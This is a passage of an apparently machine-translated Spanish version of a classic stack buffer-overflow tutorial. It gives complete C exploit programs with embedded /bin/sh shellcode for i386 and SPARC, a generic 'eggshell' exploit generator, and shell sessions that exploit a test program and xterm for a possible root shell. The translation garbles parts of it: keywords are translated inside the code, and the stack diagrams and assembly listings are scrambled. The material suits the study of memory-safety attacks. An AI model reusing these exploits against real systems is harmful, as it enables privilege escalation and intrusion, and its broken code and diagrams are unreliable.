get_sp()); } [aleph1]$ ./sp 0x8000470 [aleph1]$ Supongamos que este es el programa que estamos tratando de desbordamiento es: vulnerable.c void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } Podemos crear un programa que tome como parámetro un tamaño de buffer, y un offset de su propio puntero de pila (donde creemos que puede vivir el buffer que queremos desbordar). Pondremos la cadena de desbordamiento en una variable de entorno para que sea fácil de manipular: exploit2.c #include <stdlib.h> #define DEFAULT_OFFSET #define DEFAULT_BUFFER_SIZE 0 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { asm ( "movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("No se puede asignar memoria.\n"); exit(0); } addr = get_sp() - offset; printf("Usando dirección: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff, "EGG=",4); putenv(buff); system("/bin/bash"); } Ahora podemos intentar adivinar cuál debe ser el buffer y el offset: [aleph1]$ ./exploit2 500 Usando dirección: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Usando dirección: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Instrucción ilegal [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Usando dirección: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Fallo de segmentación [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Usando dirección: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Fallo de segmentación [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Usando dirección: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ Como podemos ver, este no es un proceso eficiente. Intentar adivinar el desplazamiento incluso sabiendo dónde está el principio de la pila es casi imposible. Necesitaríamos en el mejor de los casos cien intentos, y en el peor un par de miles. El problema es que necesitamos adivinar *exactamente* dónde empezará la dirección de nuestro código. Si nos equivocamos por un byte más o menos obtendremos una violación de segmentación o una instrucción inválida. Una forma de aumentar nuestras posibilidades es rellenar la parte delantera de nuestro búfer de desbordamiento con instrucciones NOP. Casi todos los procesadores tienen una instrucción NOP que realiza una operación nula. Normalmente se utiliza para retrasar la ejecución con fines de sincronización. Nos aprovecharemos de ello y llenaremos la mitad de nuestro búfer de desbordamiento con ellas. Colocaremos nuestro shellcode en el centro, y luego lo seguiremos con las direcciones de retorno. Si tenemos suerte y la dirección de retorno apunta a cualquier parte de la cadena de NOPs, simplemente se ejecutarán hasta llegar a nuestro código. En la arquitectura Intel la instrucción NOP tiene un fondo de latraduce memoria DDDDDDDDEEEEEEEEEEE EEEE FFFF que FFFF FFFF y se a 0x90 en código máquina. Asumiendo la pila comienzaparte en la direcc ión byte de longitud FFFF89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 0xFF, q ue S significa código shell, y que N significa una instrucción NOP la nueva pila sesuper vería así: ior búfer sfp ret a b c <-------- [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | | | arriba deabajo de pila de la memori a apila r El nuevo exploit es entonces exploit3.c #include <stdlib.h> #define DEFAULT_OFFSET #define DEFAULT_BUFFER_SIZE #define NOP 0 512 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { asm ( "movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("No se puede asignar memoria.\n"); exit(0); } addr = get_sp() - offset; printf("Usando dirección: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff, "EGG=",4); putenv(buff); system("/bin/bash"); } Una buena selección para el tamaño de nuestro buffer es unos 100 bytes más que el tamaño del buffer que estamos intentando desbordar. Esto colocará nuestro código al final del buffer que estamos tratando de desbordar, dando mucho espacio para los NOPs, pero aún sobrescribiendo la dirección de retorno con la dirección que adivinamos. El buffer que estamos intentando desbordar tiene 512 bytes, así que usaremos 612. Intentemos desbordar nuestro programa de prueba con nuestro nuevo exploit: [aleph1]$ ./exploit3 612 Usando dirección: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ¡Vaya! ¡Primer intento! Este cambio ha centuplicado nuestras posibilidades. Probémoslo ahora en un caso real de desbordamiento de búfer. Usaremos para nuestra demostración el desbordamiento de búfer en la librería Xt. Para nuestro ejemplo, usaremos xterm (todos los programas enlazados con la librería Xt son vulnerables). Debe estar ejecutando un servidor X y permitir conexiones a él desde el localhost. Configure su variable DISPLAY en consecuencia. [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Usando dirección: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG ^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Usando dirección: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG .... Advertencia: se han perdido algunos argumentos del mensaje anterior Instrucción ilegal [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Usando dirección: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Advertencia: se han perdido algunos argumentos del mensaje anterior bash$ ¡Eureka! Menos de una docena de intentos y encontramos los números mágicos. Si xterm se instalara suid root esto sería ahora un shell de root. Pequeños desbordamientos del búfer Habrá ocasiones en las que el buffer que estamos intentando desbordar sea tan pequeño que, o bien el shellcode no quepa en él, y sobrescriba la dirección de retorno con instrucciones en lugar de la dirección de nuestro código, o bien el número de NOPs con los que podemos rellenar la parte delantera de la cadena sea tan pequeño que las posibilidades de adivinar su dirección sean minúsculas. Para obtener un shell de estos programas tendremos que hacerlo de otra manera. Este enfoque en particular sólo funciona cuando se tiene acceso a las variables de entorno del programa. Lo que haremos es colocar nuestro shellcode en una variable de entorno, y luego desbordar el buffer con la dirección de esta variable en memoria. Este método también aumenta las posibilidades de que el exploit funcione, ya que puedes hacer que la variable de entorno que contiene el código shell sea tan grande como quieras. Las variables de entorno se almacenan en la parte superior de la pila cuando se inicia el programa, cualquier modificación por setenv() se asignan en otro lugar. La pila al principio se ve así: <cadenas><argv punteros>NULL<envp punteros>NULL<argc><argv>envp> Nuestro nuevo programa tomará una variable extra, el tamaño de la variable que contiene el shellcode y NOPs. Nuestro nuevo exploit ahora se ve así: exploit4.c #include <stdlib.h> #define #define #define #define DEFAULT_OFFSET DEFAULT_BUFFER_SIZE DEFAULT_EGG_SIZE NOP 0 512 2048 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { asm ( "movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("No se puede asignar memoria.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("No se puede asignar memoria.\n"); exit(0); } addr = get_esp() - offset; printf("Usando dirección: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = huevo; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg, "EGG=",4); putenv(egg); memcpy(buff, "RET=",4); putenv(buff); system("/bin/bash"); } Vamos a probar nuestro nuevo exploit con nuestro programa de prueba vulnerable: [aleph1]$ ./exploit4 768 Usando dirección: 0xbffffdb0 [aleph1]$ ./vulnerable $RET $ Funciona a las mil maravillas. Ahora vamos a probarlo en xterm: [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit4 2148 Usando dirección: 0xbffffdb0 [aleph1]$ /usr/X11R6/bin/xterm -fg $RET Advertencia: Nombre de color ...°¤ÿ¿°¤ÿ¿°¤ ... Advertencia: se han perdido algunos argumentos del mensaje anterior $ Al primer intento. Sin duda ha aumentado nuestras probabilidades. Dependiendo de cuántos datos de entorno tenga el programa de explotación en comparación con el programa que estás intentando explotar, la dirección adivinada puede ser demasiado baja o demasiado alta. Experimenta tanto con offsets positivos como negativos. Búsqueda de desbordamientos de búfer Como se ha dicho antes, los desbordamientos de búfer son el resultado de introducir más información en un búfer de la que puede contener. Como C no tiene ninguna comprobación de límites incorporada, los desbordamientos a menudo se manifiestan escribiendo más allá del final de una matriz de caracteres. La biblioteca estándar de C proporciona una serie de funciones para copiar o añadir cadenas, que no realizan ninguna comprobación de límites. Entre ellas se incluyen: strcat(), strcpy(), sprintf() y vsprintf(). Estas funciones operan con cadenas sin terminación y no comprueban el desbordamiento de la cadena receptora. gets() es una función que lee una línea de la entrada estándar en un búfer hasta una nueva línea de terminación o EOF. No realiza comprobaciones de desbordamiento del búfer. La familia de funciones scanf() también puede ser un problema si está comparando una secuencia de caracteres que no son espacios en blanco (%s), o comparando una secuencia no vacía de caracteres de un conjunto especificado (%[]), y el array apuntado por el puntero char, no es lo suficientemente grande como para aceptar toda la secuencia de caracteres, y no ha definido el ancho de campo máximo opcional. Si el objetivo de cualquiera de estas funciones es un buffer de tamaño estático, y su otro argumento fue de alguna manera derivado de la entrada del usuario hay una buena posibilidad que podría ser capaz de explotar un desbordamiento de búfer. Otra construcción de programación habitual que encontramos es el uso de un bucle while para leer un carácter cada vez en un buffer desde stdin o algún fichero hasta alcanzar el final de línea, final de fichero o algún otro delimitador. Este tipo de construcción normalmente utiliza una de estas funciones: getc(), fgetc(), o getchar(). Si no hay comprobaciones explícitas de desbordamientos en el bucle while, este tipo de programas son fácilmente explotables. Para concluir, grep(1) es tu amigo. Las fuentes de los sistemas operativos libres y sus utilidades están fácilmente disponibles. Este hecho se vuelve bastante interesante una vez que te das cuenta de que muchas utilidades de sistemas operativos comerciales se derivan de las mismas fuentes que las gratuitas. Utilice la fuente d00d. Apéndice A - Shellcode para diferentes sistemas operativos/arquitecturas i386/Linux SPARC/Solaris SPARC/SunOS jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 llame -0x24 a .string \"/bin/sh\" sethi o sethi y añada xor añada std st st mov ta xor mov ta sethi o sethi y añada xor añada std st st mov mov ta xor mov ta 0xbd89a, %l6 %l6, 0x16e, %l6 0xbdcda, %l7 %sp, %sp, %o0 %sp, 8, %o1 %o2, %o2, %o2 %sp, 16, %sp %l6, [%sp - 16] %sp, [%sp - 8] %g0, [%sp - 4] 0x3b, %g1 8 %o7, %o7, %o0 1, %g1 8 0xbd89a, %l6 %l6, 0x16e, %l6 0xbdcda, %l7 %sp, %sp, %o0 %sp, 8, %o1 %o2, %o2, %o2 %sp, 16, %sp %l6, [%sp - 16] %sp, [%sp - 8] %g0, [%sp - 4] 0x3b, %g1 -0x1, %l5 %l5 + 1 %o7, %o7, %o0 1, %g1 %l5 + 1 Apéndice B - Programa genérico de desbordamiento del búfer shellcode.h #if defined( i386 ) && defined( linux ) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { asm ( "movl %esp,%eax"); } #elif defined( sparc ) && defined( sun ) && defined( svr4 ) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { asm ( "o %sp, %sp, %i0"); } #elif defined( sparc ) && defined( sun ) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { asm ( "o %sp, %sp, %i0"); } #endif cáscara.c /* * cáscara de huevo v1.0 * * Aleph One / aleph1@underground.org */ #include #include stdio.h #include "shellcode.h" #define DEFAULT_OFFSET #define DEFAULT_BUFFER_SIZE #define DEFAULT_EGG_SIZE 0 512 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { caso 'a': align = atoi(optarg); break; caso 'b': bsize = atoi(optarg); break; caso 'e': eggize = atoi(optarg); break; caso 'o': offset = atoi(optarg); break; caso '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode es mayor que el huevo.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("No se puede asignar memoria.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("No se puede asignar memoria.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\ttEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Dirección:\t0x%x\tDesplazamiento:\t\t%d\t\t\t]\n", addr, desplazamiento); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = huevo; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg, "EGG=",4); putenv(egg); memcpy(bof, "BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n"); }